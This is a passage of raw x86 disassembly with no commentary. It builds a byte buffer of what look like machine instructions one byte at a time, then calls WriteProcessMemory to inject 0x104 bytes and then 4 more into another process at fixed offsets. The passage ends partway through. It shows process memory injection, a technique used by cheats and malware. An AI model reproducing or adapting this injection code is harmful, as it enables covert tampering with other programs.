call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x44
mov ebx, dword [0x53da0c]
add ebx, 0x2d
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xc7
mov ebx, dword [0x53da0c]
add ebx, 0x2e
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x40
mov ebx, dword [0x53da0c]
add ebx, 0x2f
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x14
mov ebx, dword [0x53da0c]
add ebx, 0x30
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x31
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x32
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x7a
mov ebx, dword [0x53da0c]
add ebx, 0x33
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x44
mov ebx, dword [0x53da0c]
add ebx, 0x34
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x8b
mov ebx, dword [0x53da0c]
add ebx, 0x35
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x40
mov ebx, dword [0x53da0c]
add ebx, 0x36
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x10
mov ebx, dword [0x53da0c]
add ebx, 0x37
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x2b
mov ebx, dword [0x53da0c]
add ebx, 0x38
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x41
mov ebx, dword [0x53da0c]
add ebx, 0x39
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x44
mov ebx, dword [0x53da0c]
add ebx, 0x3a
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xc3
mov ebx, dword [0x53da0c]
add ebx, 0x3b
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x3c
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x3d
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x3e
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x3f
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x83
mov ebx, dword [0x53da0c]
add ebx, 0x40
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x3d
mov ebx, dword [0x53da0c]
add ebx, 0x41
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 8
mov ebx, dword [0x53da0c]
add ebx, 0x42
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x3f
mov ebx, dword [0x53da0c]
add ebx, 0x43
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xfc
mov ebx, dword [0x53da0c]
add ebx, 0x44
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 7
mov ebx, dword [0x53da0c]
add ebx, 0x45
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 1
mov ebx, dword [0x53da0c]
add ebx, 0x46
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x75
mov ebx, dword [0x53da0c]
add ebx, 0x47
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 8
mov ebx, dword [0x53da0c]
add ebx, 0x48
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xc7
mov ebx, dword [0x53da0c]
add ebx, 0x49
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x46
mov ebx, dword [0x53da0c]
add ebx, 0x4a
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 8
mov ebx, dword [0x53da0c]
add ebx, 0x4b
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x4c
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x4d
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x4e
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x4f
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xc3
mov ebx, dword [0x53da0c]
add ebx, 0x50
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xf3
mov ebx, dword [0x53da0c]
add ebx, 0x51
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xf
mov ebx, dword [0x53da0c]
add ebx, 0x52
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x11
mov ebx, dword [0x53da0c]
add ebx, 0x53
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x4e
mov ebx, dword [0x53da0c]
add ebx, 0x54
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 8
mov ebx, dword [0x53da0c]
add ebx, 0x55
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xc3
mov ebx, dword [0x53da0c]
add ebx, 0x56
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 0x57
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x58
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x59
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x5a
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x5b
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x5c
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x5d
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x5e
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x5f
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x83
mov ebx, dword [0x53da0c]
add ebx, 0x60
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x3d
mov ebx, dword [0x53da0c]
add ebx, 0x61
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x10
mov ebx, dword [0x53da0c]
add ebx, 0x62
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x3f
mov ebx, dword [0x53da0c]
add ebx, 0x63
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xfc
mov ebx, dword [0x53da0c]
add ebx, 0x64
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 7
mov ebx, dword [0x53da0c]
add ebx, 0x65
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 1
mov ebx, dword [0x53da0c]
add ebx, 0x66
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x75
mov ebx, dword [0x53da0c]
add ebx, 0x67
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xa
mov ebx, dword [0x53da0c]
add ebx, 0x68
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xc7
mov ebx, dword [0x53da0c]
add ebx, 0x69
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x86
mov ebx, dword [0x53da0c]
add ebx, 0x6a
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x8c
mov ebx, dword [0x53da0c]
add ebx, 0x6b
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x6c
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x6d
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x6e
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x6f
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x24
mov ebx, dword [0x53da0c]
add ebx, 0x70
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x74
mov ebx, dword [0x53da0c]
add ebx, 0x71
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x49
mov ebx, dword [0x53da0c]
add ebx, 0x72
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xf3
mov ebx, dword [0x53da0c]
add ebx, 0x73
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xf
mov ebx, dword [0x53da0c]
add ebx, 0x74
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x10
mov ebx, dword [0x53da0c]
add ebx, 0x75
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x86
mov ebx, dword [0x53da0c]
add ebx, 0x76
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x8c
mov ebx, dword [0x53da0c]
add ebx, 0x77
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x78
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x79
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x7a
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xc3
mov ebx, dword [0x53da0c]
add ebx, 0x7b
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x7c
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x7d
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x7e
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x7f
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x83
mov ebx, dword [0x53da0c]
add ebx, 0x80
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x3d
mov ebx, dword [0x53da0c]
add ebx, 0x81
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x14
mov ebx, dword [0x53da0c]
add ebx, 0x82
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x3f
mov ebx, dword [0x53da0c]
add ebx, 0x83
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xfc
mov ebx, dword [0x53da0c]
add ebx, 0x84
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 7
mov ebx, dword [0x53da0c]
add ebx, 0x85
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 1
mov ebx, dword [0x53da0c]
add ebx, 0x86
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x75
mov ebx, dword [0x53da0c]
add ebx, 0x87
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xa
mov ebx, dword [0x53da0c]
add ebx, 0x88
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xc7
mov ebx, dword [0x53da0c]
add ebx, 0x89
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push pe_nt_image_headers32
mov ebx, dword [0x53da0c]
add ebx, 0x8a
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x54
mov ebx, dword [0x53da0c]
add ebx, 0x8b
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 2
mov ebx, dword [0x53da0c]
add ebx, 0x8c
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x8d
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x8e
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x98
mov ebx, dword [0x53da0c]
add ebx, 0x8f
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x3a
mov ebx, dword [0x53da0c]
add ebx, 0x90
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x91
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x92
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xf3
mov ebx, dword [0x53da0c]
add ebx, 0x93
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xf
mov ebx, dword [0x53da0c]
add ebx, 0x94
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x2a
mov ebx, dword [0x53da0c]
add ebx, 0x95
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push pe_nt_image_headers32
mov ebx, dword [0x53da0c]
add ebx, 0x96
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x54
mov ebx, dword [0x53da0c]
add ebx, 0x97
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 2
mov ebx, dword [0x53da0c]
add ebx, 0x98
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x99
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x9a
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xc3
mov ebx, dword [0x53da0c]
add ebx, 0x9b
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x9c
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x9d
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x9e
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x9f
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x83
mov ebx, dword [0x53da0c]
add ebx, 0xa0
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x3d
mov ebx, dword [0x53da0c]
add ebx, 0xa1
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x14
mov ebx, dword [0x53da0c]
add ebx, 0xa2
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x3f
mov ebx, dword [0x53da0c]
add ebx, 0xa3
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xfc
mov ebx, dword [0x53da0c]
add ebx, 0xa4
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 7
mov ebx, dword [0x53da0c]
add ebx, 0xa5
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 1
mov ebx, dword [0x53da0c]
add ebx, 0xa6
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x75
mov ebx, dword [0x53da0c]
add ebx, 0xa7
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x46
mov ebx, dword [0x53da0c]
add ebx, 0xa8
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x66
mov ebx, dword [0x53da0c]
add ebx, 0xa9
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x3e
mov ebx, dword [0x53da0c]
add ebx, 0xaa
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x81
mov ebx, dword [0x53da0c]
add ebx, 0xab
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xbc
mov ebx, dword [0x53da0c]
add ebx, 0xac
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x24
mov ebx, dword [0x53da0c]
add ebx, 0xad
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x64
mov ebx, dword [0x53da0c]
add ebx, 0xae
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 1
mov ebx, dword [0x53da0c]
add ebx, 0xaf
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0xb0
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0xb1
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x32
mov ebx, dword [0x53da0c]
add ebx, 0xb2
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xfd
mov ebx, dword [0x53da0c]
add ebx, 0xb3
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x74
mov ebx, dword [0x53da0c]
add ebx, 0xb4
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x18
mov ebx, dword [0x53da0c]
add ebx, 0xb5
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x66
mov ebx, dword [0x53da0c]
add ebx, 0xb6
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x3e
mov ebx, dword [0x53da0c]
add ebx, 0xb7
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x81
mov ebx, dword [0x53da0c]
add ebx, 0xb8
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xbc
mov ebx, dword [0x53da0c]
add ebx, 0xb9
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x24
mov ebx, dword [0x53da0c]
add ebx, 0xba
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x74
mov ebx, dword [0x53da0c]
add ebx, 0xbb
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 2
mov ebx, dword [0x53da0c]
add ebx, 0xbc
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0xbd
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0xbe
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xc4
mov ebx, dword [0x53da0c]
add ebx, 0xbf
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xa
mov ebx, dword [0x53da0c]
add ebx, 0xc0
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x75
mov ebx, dword [0x53da0c]
add ebx, 0xc1
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x33
mov ebx, dword [0x53da0c]
add ebx, 0xc2
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x60
mov ebx, dword [0x53da0c]
add ebx, 0xc3
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x3e
mov ebx, dword [0x53da0c]
add ebx, 0xc4
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x8b
mov ebx, dword [0x53da0c]
add ebx, 0xc5
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x8c
mov ebx, dword [0x53da0c]
add ebx, 0xc6
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x24
mov ebx, dword [0x53da0c]
add ebx, 0xc7
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xb0
mov ebx, dword [0x53da0c]
add ebx, 0xc8
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0xc9
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0xca
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0xcb
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xeb
mov ebx, dword [0x53da0c]
add ebx, 0xcc
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 9
mov ebx, dword [0x53da0c]
add ebx, 0xcd
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x60
mov ebx, dword [0x53da0c]
add ebx, 0xce
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x3e
mov ebx, dword [0x53da0c]
add ebx, 0xcf
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x8b
mov ebx, dword [0x53da0c]
add ebx, 0xd0
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x8c
mov ebx, dword [0x53da0c]
add ebx, 0xd1
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x24
mov ebx, dword [0x53da0c]
add ebx, 0xd2
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xb0
mov ebx, dword [0x53da0c]
add ebx, 0xd3
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0xd4
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0xd5
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0xd6
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x3e
mov ebx, dword [0x53da0c]
add ebx, 0xd7
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x81
mov ebx, dword [0x53da0c]
add ebx, 0xd8
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xbd
mov ebx, dword [0x53da0c]
add ebx, 0xd9
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x54
mov ebx, dword [0x53da0c]
add ebx, 0xda
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 2
mov ebx, dword [0x53da0c]
add ebx, 0xdb
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0xdc
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0xdd
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xb0
mov ebx, dword [0x53da0c]
add ebx, 0xde
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x36
mov ebx, dword [0x53da0c]
add ebx, 0xdf
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0xe0
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0xe1
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x7e
mov ebx, dword [0x53da0c]
add ebx, 0xe2
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xa
mov ebx, dword [0x53da0c]
add ebx, 0xe3
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xc7
mov ebx, dword [0x53da0c]
add ebx, 0xe4
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x81
mov ebx, dword [0x53da0c]
add ebx, 0xe5
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xd0
mov ebx, dword [0x53da0c]
add ebx, 0xe6
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0xe7
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0xe8
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0xe9
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x98
mov ebx, dword [0x53da0c]
add ebx, 0xea
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x3a
mov ebx, dword [0x53da0c]
add ebx, 0xeb
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0xec
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0xed
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x61
mov ebx, dword [0x53da0c]
add ebx, 0xee
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x89
mov ebx, dword [0x53da0c]
add ebx, 0xef
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xb5
mov ebx, dword [0x53da0c]
add ebx, 0xf0
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x54
mov ebx, dword [0x53da0c]
add ebx, 0xf1
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 2
mov ebx, dword [0x53da0c]
add ebx, 0xf2
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0xf3
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0xf4
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xc3
mov ebx, dword [0x53da0c]
add ebx, 0xf5
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x66
mov ebx, dword [0x53da0c]
add ebx, 0xf6
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x3e
mov ebx, dword [0x53da0c]
add ebx, 0xf7
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x81
mov ebx, dword [0x53da0c]
add ebx, 0xf8
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xbc
mov ebx, dword [0x53da0c]
add ebx, 0xf9
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x24
mov ebx, dword [0x53da0c]
add ebx, 0xfa
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x74
mov ebx, dword [0x53da0c]
add ebx, 0xfb
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 2
mov ebx, dword [0x53da0c]
add ebx, 0xfc
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0xfd
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0xfe
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x32
mov ebx, dword [0x53da0c]
add ebx, 0xff
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xfd
mov ebx, dword [0x53da0c]
add ebx, 0x100
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x75
mov ebx, dword [0x53da0c]
add ebx, 0x101
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xec
mov ebx, dword [0x53da0c]
add ebx, 0x102
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xeb
mov ebx, dword [0x53da0c]
add ebx, 0x103
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push dword [0x53da98]
push 0x104
push dword [0x53da0c]
mov ebx, dword [0x53da80]
add ebx, 0x1091
push ebx
push dword [0x53da90]
call sub.KERNEL32.dll_WriteProcessMemory
mov dword [0x53d9a4], eax
mov ebx, dword [0x53da80]
add ebx, 0x3f00
push ebx
mov eax, dword [0x53da0c]
call fcn.00409f80
mov dword [0x53d9a4], eax
push dword [0x53da98]
push 4
push dword [0x53da0c]
mov ebx, dword [0x53da80]
add ebx, 0x1093
push ebx
push dword [0x53da90]
call sub.KERNEL32.dll_WriteProcessMemory
mov dword [0x53d9a4], eax
mov ebx, dword [0x53da80]
